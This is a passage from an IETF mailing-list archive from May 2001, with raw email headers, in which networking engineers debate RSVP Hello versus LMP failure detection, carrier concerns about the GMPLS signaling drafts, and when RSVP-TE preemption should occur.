> > > > > George Swallow       Cisco Systems                   (978) 
>244-8143
> > > > >                      250 Apollo Drive
> > > > >                      Chelmsford, Ma 01824
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > >
> > > > _______________________________________________
> > > > IP-Optical mailing list
> > > > IP-Optical@lists.bell-labs.com
> > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > >
> > > _______________________________________________
> > > IP-Optical mailing list
> > > IP-Optical@lists.bell-labs.com
> > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> >
> > _______________________________________________
> > IP-Optical mailing list
> > IP-Optical@lists.bell-labs.com
> > http://lists.bell-labs.com/mailman/listinfo/ip-optical
><< dimitri.papadimitriou.vcf >>

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com



From owner-mpls@UU.NET  Wed May 30 14:13:49 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA20369
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 14:13:48 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrgy26912;
	Wed, 30 May 2001 18:14:07 GMT
Received: by mail-control.mail.uu.net 
	id QQkrgy12532
	for mpls-outgoing; Wed, 30 May 2001 18:13:33 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrgy12506
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 18:13:20 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrgy27208
	for <mpls@UU.NET>; Wed, 30 May 2001 18:11:27 GMT
Received: from pulsar.chromisys.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: 200-139.adsl6.netlojix.net [207.71.200.139] (may be forged))
	id QQkrgy12289
	for <mpls@UU.NET>; Wed, 30 May 2001 18:11:27 GMT
Received: by pulsar.chromisys.com with Internet Mail Service (5.5.2653.19)
	id <LD7YGSRS>; Wed, 30 May 2001 11:08:10 -0700
Message-ID: <C12BBE1C7A8F7344808CD8C2A345DFB821C60D@pulsar.chromisys.com>
From: Jonathan Lang <jplang@calient.net>
To: "'Dimitrios Pendarakis'" <DPendarakis@tellium.com>,
        Jonathan Lang
	 <jplang@calient.net>,
        "'Fong Liaw'" <fliaw@zaffire.com>,
        "'suresh Katukam'"
	 <skatukam@cisco.com>
Cc: "'Jennifer Yates'" <jyates@research.att.com>, mpls@UU.NET,
        ccamp@ops.ietf.org
Subject: RE: Last call - RSVP problems
Date: Wed, 30 May 2001 11:08:09 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Dimitrios,
  The luxury of being in meetings all morning is that I had the chance to
read your email as well as the responses from David, Lyndon, and Eric before
I respond.  Since I agree with their response, I will try to be brief.
Using RSVP Hellos to detect RSVP module failures is in my mind the correct
usage for them.  Control channel failures should be detected by mechanisms
designed to detect them (e.g., LMP Hellos).   One scenario that carriers are
interested in supporting is the notion of having parallel redundant control
channels for signaling purposes.  We will need to support other mechanisms
for detecting control channel failures in this case.

Thanks,
Jonathan

> -----Original Message-----
> From: Dimitrios Pendarakis [mailto:DPendarakis@tellium.com]
> Sent: Wednesday, May 30, 2001 7:24 AM
> To: 'Jonathan Lang'; 'Fong Liaw'; 'suresh Katukam'
> Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
> Subject: RE: Last call - RSVP problems
> 
> 
> Jonathan,
> 
> Could you please clarify why you think RSVP Hello doesn't work for 
> parallel (redundant) control channels? Control channel redundancy 
> is obviously important; however I don't think it relates to the 
> usefulness of the RSVP hello mechanism, at least in the context of 
> this discussion.
> 
> The whole issue is one of layering: LMP hello allows you to detect 
> individual link (or control channel) failures; RSVP Hello allows
> you to detect that you 've lost contact with your signaling peer
> for whatever reason (failure of all redundant control channels, 
> failure of the RSVP daemon, etc.). Since they operate at different
> levels they are to some extend complementary; once RSVP Hello tells
> you that your peer is not reachable, you could use LMP Hello's to 
> try to pinpoint where the problem occurred. 
> 
> For clarification, the "control channel failure" mentioned in
> Fong's mail that started this discussion refers to a failure of the
> signaling channel, i.e., inability to communicate with your signaling
> peer, not failure of specific (individual) control channels. As such, 
> I still believe RSVP Hello is a more accurate detection mechanism.
> 
> Please see some additional comments inline.
> 
> Thanks,
> Dimitris
> 
> 
> >   If you're using the RSVP Hello to detect the failure of the 
> > RSVP module
> > only, then this is fine.  If you're using the RSVP Hello to 
> detect (or
> > rather, infer) control channel failures, I have a problem.  
> > For starters, I
> > don't think it works for parallel (redundant) control 
> > channels; if control
> > channel redundancy is *not* important for SPs, then it's not 
> > as much of an
> > issue, however, I think you're overloading the semantics of 
> > the RSVP Hello.
> > 
> >   See additional comments inline.
> > 
> > Thanks,
> > Jonathan
> > 
> > > 
> > > Hi Jonathan,
> > > 
> > > What needs to be detected here is the inability to send and 
> > > receive signaling messages to and from your RSVP peer. In this 
> > > respect, using RSVP Hello is a more accurate mechanism for 
> > > detecting failures since it is part of the RSVP protocol and 
> > > independent of the link layer used to realize the control 
> > > channel. As you point out, if you prefer redundant control 
> > > channels for resiliency, and want to rely on LMP only, you have
> > > to correlate all LMP detected failures in order to declare a 
> > > control channel failure.
> > This is not correct.  LMP allows you to detect individual 
> > control channel
> > failures, even when there are multiple (redundant) control 
> > channels.  The
> > RSVP Hello cannot do this.
> > 
> 
> Sure, as I pointed above, RSVP Hello is not intended to detect 
> individual link failures. At the risk of sounding repetitive, the
> point here is that these are different mechanisms that serve 
> different purpose. For example, if you have 3 (redundant) IP control 
> channels and rely on LMP Hello only, in order to infer failure of the 
> signaling channel with your peer, you would have to correlate LMP 
> failures in all three channels. 
> 
> > > With RSVP Hello you would rely on a 
> > > single set of event(s) to detect the failure.
> > To be clear, the failure of the RSVP module.
> 
> Or simultaneous failure of all IP control channels...
> 
> > 
> > > To go even further, what if all your control channels are working
> > > fine, but your RSVP daemon has crashed, for whatever reason.
> > > LMP hellos will keep going across but RSVP messages will not...
> > This is where the RSVP Hello has its place.
> > 
> > > 
> > > All this points to the (certainly non-trivial) problem of failure 
> > > detection and correlation at different layers. I am not trying to
> > > say that RSVP Hello is the perfect or only mechanism we 
> should rely 
> > > on, but it certainly has a place in addressing the problem.
> > agreed.  see above comment.
> > 
> > > 
> > > Thanks,
> > > Dimitris
> > > 
> > > PS. Hopefully we are not too far apart so we might not have
> > > to keep the discussion going for too long :-)
> > > In any case I believe it has some relevance here as well.
> > > 
> > > 
> > > > -----Original Message-----
> > > > From: Jonathan Lang [mailto:jplang@calient.net]
> > > > Sent: Friday, May 25, 2001 6:56 PM
> > > > To: 'Dimitrios Pendarakis'; Jonathan Lang; 'Fong Liaw'; 'suresh
> > > > Katukam'; v.sharma@ieee.org
> > > > Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
> > > > Subject: RE: Last call - RSVP problems
> > > > 
> > > > 
> > > > Dimitris,
> > > >   The RSVP Hello Extension is intended to detect node 
> > > failures and not
> > > > necessarily link (control channel) failures.  In particular, 
> > > > the tunnel
> > > > draft says, "It should be noted that node failure detection 
> > > > is not the same
> > > > as a link failure detection mechanism, particularly in the 
> > > > case of multiple
> > > > parallel unnumbered links."  What happens if you want 
> > > > redundant control
> > > > channels for control-channel resiliency?  I believe you would 
> > > > still want a
> > > > mechanism to detect control channel (link-layer) failures.
> > > > 
> > > >   In LMP, you can have multiple active control channels 
> > > > between a pair of
> > > > nodes.  You can configure control channels over shared 
> > > > Ethernet and over
> > > > SONET/SDH overhead, etc.  You send keep-alive Hellos over 
> > > each control
> > > > channel.  If you so desire, you can send all signaling 
> > > > messages over the
> > > > Ethernet control channels.  You can also choose to send all 
> > > > remaining LMP
> > > > messages over the SONET/SDH-based control channels.  Keeping 
> > > > RSVP Hellos as
> > > > "optional" would be fine.  Making them mandatory doesn't seem 
> > > > like the right
> > > > solution.
> > > > 
> > > > Thanks,
> > > > Jonathan
> > > > 
> > > > P.S.  Should we move this discussion on the OIF list??
> > > > 
> > > > > -----Original Message-----
> > > > > From: Dimitrios Pendarakis [mailto:DPendarakis@tellium.com]
> > > > > Sent: Friday, May 25, 2001 3:16 PM
> > > > > To: 'Jonathan Lang'; 'Fong Liaw'; 'suresh Katukam'; 
> > > > v.sharma@ieee.org
> > > > > Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
> > > > > Subject: RE: Last call - RSVP problems
> > > > > 
> > > > > 
> > > > > Hi Jonathan,
> > > > > 
> > > > > One point to consider is that the signaling control 
> > > > > channel might be realized over a different link layer 
> > > > > than LMP. For example, LMP might be running in-fiber
> > > > > over SONET/SDH overhead bytes, while RSVP is running 
> > > > > over an out-of-band network such a shared Ethernet.
> > > > > RSVP Hello allows independent detection of signaling 
> > > > > channel failure, so it's a useful option to keep.
> > > > > 
> > > > > Thanks,
> > > > > Dimitris
> > > > > 
> > > > > Dimitris Pendarakis
> > > > > Tellium, Inc.
> > > > > 
> > > > > 
> > > > > > -----Original Message-----
> > > > > > From: Jonathan Lang [mailto:jplang@calient.net]
> > > > > > Sent: Friday, May 25, 2001 5:30 PM
> > > > > > To: 'Fong Liaw'; 'suresh Katukam'; v.sharma@ieee.org
> > > > > > Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
> > > > > > Subject: RE: Last call - RSVP problems
> > > > > > 
> > > > > > 
> > > > > > Fong,
> > > > > > 
> > > > > > 
> > > > > > <snip>
> > > > > > > Same as (2), any proposals that remove the refresh 
> > mechanism 
> > > > > > > is going to be difficult to prove that all cases 
> > are covered.
> > > > > > > 
> > > > > > > Instead, we (will) recommend the following in OIF UNI 
> > > document:
> > > > > > >    
> > > > > > >    Use RSVP Hello to detect control channel failure.
> > > > > > Why wouldn't you use the LMP Hello to detect 
> control channel 
> > > > > > failure?  This
> > > > > > is exactly what it is designed for.  From 
> > > > > > draft-ietf-mpls-lsp-tunnel-08.txt,
> > > > > > 
> > > > > >   "This (RSVP Hello) mechanism is intended to be used when 
> > > > > > notification of
> > > > > > link layer
> > > > > >    failures is not available and unnumbered links are not 
> > > > > > used, or when
> > > > > >    the failure detection mechanisms provided by the link 
> > > > > layer are not
> > > > > >    sufficient for timely node failure detection."
> > > > > >  
> > > > > > >    If a control channel failure is detected, LSPs states 
> > > > > > >    are maintained as if a node continues to receive 
> > > > > > >    RSVP refresh message from the failed control channel.
> > > > > > >    The recommended Hello timer will be in second range,
> > > > > > >    instead of ms range specified in RSVP-TE draft.  
> > > > > > > 
> > > > > > >    If a control channel failed permanently, manual 
> > > intervention 
> > > > > > >    may be required. This is to be studied.
> > > > > > > 
> > > > > > > p.s The text is currently being drafted as we type.
> > > > > > 
> > > > > 
> > > > 
> > > 
> > 
> 


From owner-mpls@UU.NET  Wed May 30 15:18:03 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA22203
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 15:18:02 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrhd01348;
	Wed, 30 May 2001 19:18:21 GMT
Received: by mail-control.mail.uu.net 
	id QQkrhd09548
	for mpls-outgoing; Wed, 30 May 2001 19:17:47 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrhd09537
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 19:17:41 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrhd20018
	for <mpls@uu.net>; Wed, 30 May 2001 19:16:07 GMT
Received: from sj-msg-core-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkrhd27623
	for <mpls@uu.net>; Wed, 30 May 2001 19:16:07 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4UJG9U09815
	for <mpls@uu.net>; Wed, 30 May 2001 12:16:09 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id PAA06540 for mpls@uu.net; Wed, 30 May 2001 15:16:04 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrhc08333
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 19:10:11 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrhc16059
	for <mpls@UU.NET>; Wed, 30 May 2001 19:09:10 GMT
Received: from globalhq01.submarinesystems.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ns2.tycomltd.com [208.219.14.130])
	id QQkrhc26226
	for <mpls@UU.NET>; Wed, 30 May 2001 19:09:09 GMT
Received: by GLOBALHQ01 with Internet Mail Service (5.5.2650.21)
	id <K865MRX9>; Wed, 30 May 2001 15:08:35 -0400
Received: from globalhq02.submarinesystems.com (GLOBALHQ02 [10.6.0.52]) by globalhq01.submarinesystems.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id K865MRX7; Wed, 30 May 2001 15:08:33 -0400
Received: by GLOBALHQ02 with Internet Mail Service (5.5.2653.19)
	id <L3YMWG1L>; Wed, 30 May 2001 15:09:03 -0400
From: Eaves John <JEaves@TyComLtd.com>
To: "'Eve Varma'" <evarma@lucent.com>, ccamp@ops.ietf.org, mpls@UU.NET,
        ip-optical@lists.bell-labs.com
Cc: tsg15q11@itu.int, t1x15@t1.org
Message-ID: <C17B6DD4E686D11184D60000F8058C3302A99C99@GLOBALENG02>
Subject: RE: [IP-Optical] RE: GMPLS Last Calls
Date: Wed, 30 May 2001 15:08:59 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

I agree fully with the proposed text in "" in Eve's suggestion below
John Eaves
TyCom (US) Labs

-----Original Message-----
From: Eve Varma [mailto:evarma@lucent.com]
Sent: Tuesday, May 29, 2001 1:43 PM
To: ccamp@ops.ietf.org; mpls@UU.NET; ip-optical@lists.bell-labs.com
Cc: tsg15q11@itu.int; t1x15@t1.org
Subject: Re: [IP-Optical] RE: GMPLS Last Calls


Hi all,

Watching the various emails regarding the GMPLS drafts, I see several
issues being raised related to some concerns that service provider
requirements haven't been sufficiently reflected in the GMPLS signaling
specifications - or at least, not been tested against.  (An initial set
of requirements was provided by BT on
Considerations on the development of an Optical Control Plane -
http://search.ietf.org/internet-drafts/draft-freeland-octrl-cons-01.txt.
Monica has mentioned other currently available sources of service
provider requirements as well, such as the Carriers Optical Services
Framework and Associated Requirements for the UNI, developed in the OIF
and submitted to T1 and ITU-T.  Some requirements were also submitted
earlier in the draft Requirements on the ASON UNI -
http://search.ietf.org/internet-drafts/draft-lin-mpls-ipo-ason-uni-00.txt.
)

For example, assuring separation of the control plane from the data
plane continues to arise - the GMPLS architecture document mentions this
separation, but it's not clear how the GMPLS signaling specifications
reflect the implications of this decoupling.  This is best illustrated
in the handling of control plane failures.  In particular, what happens
to established circuit connections if the control plane fails? If the
control plane recovers, how do we sync the connection state?  As an
example, from RSVP RFC: "RSVP takes a "soft state" approach to managing
the reservation state in routers and hosts. RSVP soft state is created
and periodically refreshed by Path and Resv messages. The state is
deleted if no matching refresh messages arrive before the expiration of
a "cleanup timeout" interval." This means that if for whatever reason
control messages are lost, the associated data paths will be released. 
Thus there is strong failure correlation between the control plane and
data plane, which is inconsistent with the GMPLS architecture document,
and also results in tearing down optical connections resulting from even
temporary failures in the control plane.

I also understand the other comments from Hirokazu and Shehzad re
exclusion of NSAP, having been at the last OIF meeting where there was
considerable and spirited discussion of this issue.  The current GMPLS
architecture document specifically excludes NSAP, and from the last OIF
meeting 6 out of 12 operators discussing this issue felt there was some
need to support NSAP addressing. 

Given that the Requirements Design Team will be starting shortly, I
concur with Yuri's suggestion for inclusion of a clear statement of what
is - and isn't - covered in the GMPLS Signaling Description, RSVP
Extensions, LDP Extensions drafts.   A suggestion for such text is
provided below (the intro will need to be tailored to each draft):

"Overall, the objective of Generalized MPLS is to adapt MPLS signaling
and other protocols to enable their applicability to various switching
technologies.   A key motivating application has been applicability to
support a distributed control plane for various circuit-switching
technologies.   The signaling specifications contained within the these
drafts offer a starting point towards this goal; their current scope and
applicability, and areas for further assessment, are summarized below: 

These drafts provide some extensions to traditional MPLS signaling and
the basic signaling mechanisms provided in RSVP and LDP Ids (RFCs and
standard track documents) have not been modified.   It is noted that
MPLS signaling has been designed with a focus upon packet-switched
network based applications, utilizing  requirements and architectural
constructs suitable for such applications.   There may be significant
distinguishing characteristics with regard to requirements and
architectural considerations  for a distributed control plane that
supports circuit-switched network applications.  One well acknowledged
instance involves the decoupling of the control plane from the data
plane.  Such differences may have substantive impact on the signaling
mechanisms, the details of which require further study.  In addition,
upon further study of operational requirements and circuit-switching
technology specific aspects, further signaling extensions may be
required.

These drafts are focussed upon intra-area signaling interfaces, and do
not address issues and considerations related to other domains of
usage.   Applicability to inter-area and inter-domain interfaces
requires further study."

Hope this helps us move forward.

Cheers,
  Eve

itu

shehzad.mirza@bt.com wrote:
> 
> Hi,
> 
> I fully agree with Hirokokazu Ishimatsu's concerns on the GMPLS signalling
> drafts.
> 
> (1) Decoupling of the control plane from the data plane should be clearly
> stated.
> 
> This decoupling clearly has an impact on how the protocols should be
defined
> to cope with control plane failures.
> 
> (2) Exclusion of NSAP
> 
> The GMPLS architecture document, (which logically speaking should perhaps
> have been put forward for last call, ahead of the functional description)
> explicitly excludes NSAP.  NSAP addressing is used within SDH/SONET
> communications channels (DCC bytes) therefore the use of alternative
> addressing within the same channels may have an adverse effect on
> interworking with legacy equipment, particularly with regard to
management.
> This raises the general concern of what level of compatibility is
> required/desired with legacy SDH/SONET equipment.  This debate whilst
likely
> to be contentious, is unavoidable as the interworking of control plane,
> management plane and transport will have a direct impact on how this
> equipment is deployed and the economics of whether such deployments will
> ever pay off.
> 
> (3) Requirements from both security and OSS has not been discussed fully
> yet.
> 
> Security concerns have not been fully addressed, particularly at the
> architectural level.  The use of separate control network may necessitate
> the need for 24 hour staff to protect against 'Denial of Service' attacks
as
> currently happens for IP router networks.  The interaction between the
> management plane and control plane need to be addressed, for example it is
> undesirable to have multiple alarms generated when circuits are created
and
> torn down otherwise the management of a large scale network will become
> impossible.  Discussions on service aspects need to take place, otherwise
> the adoption of GMPLS equipment may be hampered, by these (solvable)
> concerns.
> 
> Best regards
> 
> Shehzad Mirza
> 
> 
> 
> > -----Original Message-----
> > From: Hirokazu Ishimatsu [SMTP:hirokazu@japan-telecom.co.jp]
> > Sent: 29 May 2001 02:46
> > To:   George Swallow; ccamp; mpls
> > Cc:   ip-optical; tsg15q11; tsg13q10
> > Subject:      [IP-Optical] RE: GMPLS Last Calls
> >
> > Hi,
> >
> > From a carrier's perspective, my concerns about GMPLS signaling drafts
> > are as follows:
> >
> > (1) Decoupling of the control plane from the data plane should be
clearly
> >      stated.
> > (2) Exclusion of NSAP
> > (3) Requirements from both security and OSS (Operating Support System)
> >      has not been discussed fully yet.
> >
> > Best regards,
> > Hirokazu Ishimatsu
> > Japan Telecom
> >
> > > -----Original Message-----
> > > From: owner-ccamp@ops.ietf.org [mailto:owner-ccamp@ops.ietf.org]On
> > > Behalf Of George Swallow
> > > Sent: Tuesday, May 15, 2001 2:52 AM
> > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > Subject: GMPLS Last Calls
> > >
> > >
> > > This message initiates a last call on four GMPLS drafts.  The last
> > > call is being issued jointly in the MPLS and CCAMP workgroups.
> > >
> > > The drafts are:
> > >
> > >     1.  Generalized MPLS - Signaling Functional Description
> > >
> > >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > >
> > >
> > >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > >
> > >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > >
> > >
> > >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > >
> > >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > >
> > >
> > >     4.  GMPLS Extensions for SONET and SDH Control
> > >
> > >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > >
> > >
> > > The last call closes May 29, 12 pm GMT.
> > >
> > >
> > > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > >
> > >
> > > ======================================================================
> > > George Swallow       Cisco Systems                   (978) 244-8143
> > >                      250 Apollo Drive
> > >                      Chelmsford, Ma 01824
> > >
> > >
> > >
> > >
> > >
> >
> > _______________________________________________
> > IP-Optical mailing list
> > IP-Optical@lists.bell-labs.com
> > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> 
> _______________________________________________
> IP-Optical mailing list
> IP-Optical@lists.bell-labs.com
> http://lists.bell-labs.com/mailman/listinfo/ip-optical



From owner-mpls@UU.NET  Wed May 30 16:37:23 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA23956
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 16:37:22 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrhi14372;
	Wed, 30 May 2001 20:37:40 GMT
Received: by mail-control.mail.uu.net 
	id QQkrhi07960
	for mpls-outgoing; Wed, 30 May 2001 20:37:08 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrhi07932
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 20:36:45 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrhi07207
	for <mpls@UU.net>; Wed, 30 May 2001 20:36:08 GMT
Received: from thalia.fm.intel.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fmfdns02.fm.intel.com [132.233.247.11])
	id QQkrhi00215
	for <mpls@UU.net>; Wed, 30 May 2001 20:36:07 GMT
Received: from SMTP (fmsmsxvs01-1.fm.intel.com [132.233.42.201])
	by thalia.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.39 2001/05/18 00:47:02 root Exp $) with SMTP id UAA05180;
	Wed, 30 May 2001 20:35:59 GMT
Received: from fmsmsx17.intel.com ([132.233.48.17]) by 132.233.48.201
  (Norton AntiVirus for Internet Email Gateways 1.0) ;
  Wed, 30 May 2001 20:35:58 0000 (GMT)
Received: by fmsmsx17.fm.intel.com with Internet Mail Service (5.5.2653.19)
	id <LSYM633T>; Wed, 30 May 2001 13:35:57 -0700
Message-ID: <08DA9F9D7783D311AC430090276100E1053D42E8@fmsmsx87.fm.intel.com>
From: "Parmar, Pankaj N" <pankaj.n.parmar@intel.com>
To: "'Eric Gray'" <eric.gray@sandburst.com>
Cc: "'mpls@UU.net'" <mpls@UU.NET>
Subject: RE: preemption in RSVP-TE
Date: Wed, 30 May 2001 13:35:55 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Eric,

Thanks for your response. Yes, I was referring to text in 4.7.3 and you are
right about my typo. Actually, I was seeking answer to the "when" part,
meaning when should preemption be done ? during PATH or RESV message
processing. Do you have any ideas/comments on that ? (please see my original
message)

Thanks,

-Pankaj

-----Original Message-----
From: Eric Gray [mailto:eric.gray@sandburst.com]
Sent: Wednesday, May 30, 2001 10:34 AM
To: Parmar, Pankaj N
Cc: 'mpls@UU.NET'
Subject: Re: preemption in RSVP-TE


Pankaj,

    Assuming you are referring to text in section 4.7.3 ("Procedures
applying to both C-Types") of draft-ietf-mpls-rsvp-lsp-tunnel-08,
at least part of the confusion stems from a typo in your quote.  The
correct word is 'unused' (as in 'unused bandwidth').  In other words,
no preemption is needed where there is already sufficient 'unused'
bandwidth.

    Admittedly, a part of the confusion may be caused by a somewhat
arbitrary distinction between 'available' and 'unused'.  It helps to
read 'requested bandwidth is available' as 'requested bandwidth is
within the capacity of links which are usable for this session'.

--
Eric Gray

You wrote:

> I have a doubt regarding preemption, as explained in the draft,
specifically
> the following statement:
>
> "if the requested bandwidth is less than the used bandwidth then the
> processing is complete. If the requested bandwidth is available, but is in
> use by lower priority sessions, then lower priority sessions (beginning
with
> lower priority) MAY be pre-empted to free the necessary bandwidth."
>
> It is not clear when the session gets preempted. It seems preemption could
> to be done during PATH message processing, but then there is a issue here.
> If a lower priority session gets preempted at a given LSR, and gets
> forwarded downstream, it is possible that another downstream LSR may
reject
> the PATH message and send a PATH_ERR upstream. The issue is, a lower
> priority session got preempted for no reason. On the other hand, if
> preemption is done during a RESV message, we are more certain that we
really
> want to preempt a lower priority session.
>
> Experts, please comment.
>
> Thanks,
>
> -Pankaj




From owner-mpls@UU.NET  Wed May 30 19:37:14 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA27459
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 19:37:14 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrhu26186;
	Wed, 30 May 2001 23:37:33 GMT
Received: by mail-control.mail.uu.net 
	id QQkrhu22734
	for mpls-outgoing; Wed, 30 May 2001 23:37:00 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrhu22712
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 23:36:44 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrhu12299
	for <mpls@UU.NET>; Wed, 30 May 2001 23:36:40 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkrhu03593
	for <mpls@UU.NET>; Wed, 30 May 2001 23:36:39 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 70A2C94006; Wed, 30 May 2001 19:36:39 -0400 (EDT)
Message-ID: <3B158407.B7A7C42D@sandburst.com>
Date: Wed, 30 May 2001 19:36:39 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: "Parmar, Pankaj N" <pankaj.n.parmar@intel.com>
Cc: "'mpls@UU.net'" <mpls@UU.NET>
Subject: Re: preemption in RSVP-TE
References: <08DA9F9D7783D311AC430090276100E1053D42E8@fmsmsx87.fm.intel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Pankaj,

    The section says that the steps are considered for admission
when processing a Path message.  I believe there has been much
discussion in the past as to when resources are hard committed
and there are scenarios in which efficiency is better served using
one approach (during Path processing) and other scenarios where
efficiency is better served using the other approach (during Resv
processing).

    I am not sure there is a right answer but I believe some vendors
have made a choice and others have left the choice to the user.  I
think you need to at least consider pending setup requests for a
higher priority LSP when you process subsequent Path messages
for admission purposes - even if you do not actually commit the
LSP resources in Path processing.  Otherwise, you are setting up
the dissappointment scenario about which you are concerned.  I
also think that you should not preempt an existing LSP until you
are ready to commit resources for the preempting LSP.

    So, what you might consider doing is marking unused capacity
and lower priority (in use) capacity as 'reserved for admission
purposes' at either the setup or the holding priority of the preempting
LSP - if, that is, you do not actually commit these resources right
away in Path processing.

    So, in case it seems a little fuzzy, my answer would be to preempt
at the same time you would commit new resources.  This is consistent
with a business model in which you only stop serving one customer
when a higher paying customer starts paying the bill.

    Hope this helps...

--
Eric Gray

You wrote:

> Eric,
>
> Thanks for your response. Yes, I was referring to text in 4.7.3 and you are
> right about my typo. Actually, I was seeking answer to the "when" part,
> meaning when should preemption be done ? during PATH or RESV message
> processing. Do you have any ideas/comments on that ? (please see my original
> message)
>
> Thanks,
>
> -Pankaj
>
> -----Original Message-----
> From: Eric Gray [mailto:eric.gray@sandburst.com]
> Sent: Wednesday, May 30, 2001 10:34 AM
